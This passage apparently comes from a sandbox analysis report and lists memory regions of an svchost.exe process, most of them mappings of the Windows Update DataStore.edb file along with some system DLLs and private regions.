"c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2406 start_va = 0x11bedf60000 end_va = 0x11bedf6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2407 start_va = 0x11bedf70000 end_va = 0x11bedf7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2408 start_va = 0x11bedf80000 end_va = 0x11bedf8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2409 start_va = 0x11bedf90000 end_va = 0x11bedf9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2410 start_va = 0x11bedfa0000 end_va = 0x11bedfaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2411 start_va = 0x11bedfb0000 end_va = 0x11bedfbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2412 start_va = 0x11bedfc0000 end_va = 0x11bedfcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2413 start_va = 0x11bedfd0000 end_va = 0x11bedfdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2414 start_va = 0x11bedfe0000 end_va = 0x11bedfeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2415 start_va = 0x11bedff0000 end_va = 0x11bedffffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2416 start_va = 0x11bee000000 end_va = 0x11bee0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee000000" filename = "" Region: id = 2417 start_va = 0x11bee100000 end_va = 0x11bee10ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2418 start_va = 0x11bee110000 end_va = 0x11bee11ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2419 start_va = 0x11bee120000 end_va = 0x11bee12ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2420 start_va = 0x11bee130000 end_va = 0x11bee13ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2421 start_va = 0x11bee140000 end_va = 0x11bee14ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2422 start_va = 0x11bee150000 end_va = 0x11bee15ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2423 start_va = 0x11bee160000 end_va = 0x11bee16ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2424 start_va = 0x11bee170000 end_va = 0x11bee17ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2425 start_va = 0x11bee180000 end_va = 0x11bee18ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2426 start_va = 0x11bee190000 end_va = 0x11bee19ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2427 start_va = 0x11bee1a0000 end_va = 0x11bee1affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2428 start_va = 0x11bee1b0000 end_va = 0x11bee1bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2429 start_va = 0x11bee1c0000 end_va = 0x11bee1cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2430 start_va = 0x11bee1d0000 end_va = 0x11bee1dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2431 start_va = 0x11bee1e0000 end_va = 0x11bee1effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2432 start_va = 0x11bee1f0000 end_va = 0x11bee1fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2433 start_va = 0x11bee200000 end_va = 0x11bee20ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2434 start_va = 0x11bee210000 end_va = 0x11bee21ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2435 start_va = 0x11bee220000 end_va = 0x11bee22ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2436 start_va = 0x11bee230000 end_va = 0x11bee23ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2437 start_va = 0x11bee240000 end_va = 0x11bee24ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2438 start_va = 0x11bee250000 end_va = 0x11bee25ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2439 start_va = 0x11bee260000 end_va = 0x11bee26ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2440 start_va = 0x11bee270000 end_va = 0x11bee27ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2441 start_va = 0x11bee280000 end_va = 0x11bee28ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2442 start_va = 0x11bee290000 end_va = 0x11bee29ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2443 start_va = 0x11bee2a0000 end_va = 0x11bee2affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2444 start_va = 0x11bee2b0000 end_va = 0x11bee2bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2445 start_va = 0x11bee2c0000 end_va = 0x11bee2cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2446 start_va = 0x11bee2d0000 end_va = 0x11bee2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2447 start_va = 0x11bee2e0000 end_va = 0x11bee2effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2448 start_va = 0x11bee2f0000 end_va = 0x11bee2fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2449 start_va = 0x11bee300000 end_va = 0x11bee30ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2450 start_va = 0x11bee310000 end_va = 0x11bee31ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2451 start_va = 0x11bee320000 end_va = 0x11bee32ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2452 start_va = 0x11bee330000 end_va = 0x11bee33ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2453 start_va = 0x11bee340000 end_va = 0x11bee34ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2454 start_va = 0x11bee350000 end_va = 0x11bee35ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2455 start_va = 0x11bee360000 end_va = 0x11bee36ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2456 start_va = 0x11bee370000 end_va = 0x11bee37ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2457 start_va = 0x11bee380000 end_va = 0x11bee38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2458 start_va = 0x11bee390000 end_va = 0x11bee39ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2459 start_va = 0x11bee3a0000 end_va = 0x11bee3affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2460 start_va = 0x11bee3b0000 end_va = 0x11bee3bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2461 start_va = 0x11bee3c0000 end_va = 0x11bee3cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2462 start_va = 0x11bee3d0000 end_va = 0x11bee3dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2463 start_va = 0x11bee3e0000 end_va = 0x11bee3effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2464 start_va = 0x11bee3f0000 end_va = 0x11bee3fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2465 start_va = 0x11bee400000 end_va = 0x11bee40ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2466 start_va = 0x11bee410000 end_va = 0x11bee41ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2467 start_va = 0x11bee420000 end_va = 0x11bee42ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2468 start_va = 0x11bee430000 end_va = 0x11bee43ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2469 start_va = 0x11bee440000 end_va = 0x11bee44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2470 start_va = 0x11bee450000 end_va = 0x11bee45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2471 start_va = 0x11bee460000 end_va = 0x11bee46ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2472 start_va = 0x11bee470000 end_va = 0x11bee47ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2473 start_va = 0x11bee480000 end_va = 0x11bee48ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2474 start_va = 0x11bee490000 end_va = 0x11bee49ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2475 start_va = 0x11bee4a0000 end_va = 0x11bee4affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2476 start_va = 0x11bee4b0000 end_va = 0x11bee4bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2477 start_va = 0x11bee4c0000 end_va = 0x11bee4cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2478 start_va = 0x11bee4d0000 end_va = 0x11bee4dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2479 start_va = 0x11bee4e0000 end_va = 0x11bee4effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2480 start_va = 0x11bee4f0000 end_va = 0x11bee4fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2481 start_va = 0x11bee500000 end_va = 0x11bee50ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2482 start_va = 0x11bee510000 end_va = 0x11bee51ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2483 start_va = 0x11bee520000 end_va = 0x11bee52ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2484 start_va = 0x11bee530000 end_va = 0x11bee53ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2485 start_va = 0x11bee540000 end_va = 0x11bee54ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2486 start_va = 0x11bee550000 end_va = 0x11bee55ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2487 start_va = 0x11bee560000 end_va = 0x11bee56ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2488 start_va = 0x11bee570000 end_va = 0x11bee57ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2489 start_va = 0x11bee580000 end_va = 0x11bee583fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee580000" filename = "" Region: id = 2490 start_va = 0x11bee590000 end_va = 0x11bee59ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2491 start_va = 0x11bee5a0000 end_va = 0x11bee5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shcore.dll.mui" filename = "\\Windows\\System32\\en-US\\SHCore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\shcore.dll.mui") Region: id = 2492 start_va = 0x11bee5b0000 end_va = 0x11bee5b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "elscore.dll.mui" filename = "\\Windows\\System32\\en-US\\elscore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\elscore.dll.mui") Region: id = 2493 start_va = 0x11bee5c0000 end_va = 0x11bee5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee5c0000" filename = "" Region: id = 2494 start_va = 0x11bee5d0000 end_va = 0x11bee5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee5d0000" filename = "" Region: id = 2495 start_va = 0x11bee5f0000 end_va = 0x11bee5f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee5f0000" filename = "" Region: id = 2496 start_va = 0x11bee600000 end_va = 0x11bee6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee600000" filename = "" Region: id = 2497 start_va = 0x11bee700000 end_va = 0x11bee7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee700000" filename = "" Region: id = 2498 start_va = 0x11bee800000 end_va = 0x11bee8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee800000" filename = "" Region: id = 2499 start_va = 0x11bee900000 end_va = 0x11bee9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bee900000" filename = "" Region: id = 2500 start_va = 0x11beea00000 end_va = 0x11beea01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beea00000" filename = "" Region: id = 2501 start_va = 0x11beea10000 end_va = 0x11beea10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 2502 start_va = 0x11beea20000 end_va = 0x11beea37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beea20000" filename = "" Region: id = 2503 start_va = 0x11beea40000 end_va = 0x11beea43fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beea40000" filename = "" Region: id = 2504 start_va = 0x11beea50000 end_va = 0x11beea53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beea50000" filename = "" Region: id = 2505 start_va = 0x11beeb00000 end_va = 0x11beebfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beeb00000" filename = "" Region: id = 2506 start_va = 0x11beec00000 end_va = 0x11beecfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beec00000" filename = "" Region: id = 2507 start_va = 0x7df5ffec0000 end_va = 0x7ff5ffebffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 2508 start_va = 0x7ff7c2a50000 end_va = 0x7ff7c2b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7c2a50000" filename = "" Region: id = 2509 start_va = 0x7ff7c2b50000 end_va = 0x7ff7c2b72fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7c2b50000" filename = "" Region: id = 2510 start_va = 0x7ff7c2dc0000 end_va = 0x7ff7c2dccfff monitored = 0 entry_point = 0x7ff7c2dc3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2511 start_va = 0x7ffb02bf0000 end_va = 0x7ffb02c07fff monitored = 0 entry_point = 0x7ffb02bf4290 region_type = mapped_file name = "elscore.dll" filename = "\\Windows\\System32\\ELSCore.dll" (normalized: "c:\\windows\\system32\\elscore.dll") Region: id = 2512 start_va = 0x7ffb02d10000 end_va = 0x7ffb02d27fff monitored = 0 entry_point = 0x7ffb02d11b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 2513 start_va = 0x7ffb035d0000 end_va = 0x7ffb0362cfff monitored = 0 entry_point = 0x7ffb035fe510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 2514 start_va = 0x7ffb05320000 end_va = 0x7ffb05363fff monitored = 0 entry_point = 0x7ffb053483e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 2515 start_va = 0x7ffb05370000 end_va = 0x7ffb053c1fff monitored = 0 entry_point = 0x7ffb05373d30 region_type = mapped_file name = "cryptngc.dll" filename = "\\Windows\\System32\\cryptngc.dll" (normalized: "c:\\windows\\system32\\cryptngc.dll") Region: id = 2516 start_va = 0x7ffb053d0000 end_va = 0x7ffb055cffff monitored = 0 entry_point = 0x7ffb05445240 region_type = mapped_file name = "wlidsvc.dll" filename = "\\Windows\\System32\\wlidsvc.dll" (normalized: "c:\\windows\\system32\\wlidsvc.dll") Region: id = 2517 start_va = 0x7ffb076d0000 end_va = 0x7ffb07905fff monitored = 0 entry_point = 0x7ffb0775a450 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 2518 start_va = 0x7ffb081a0000 end_va = 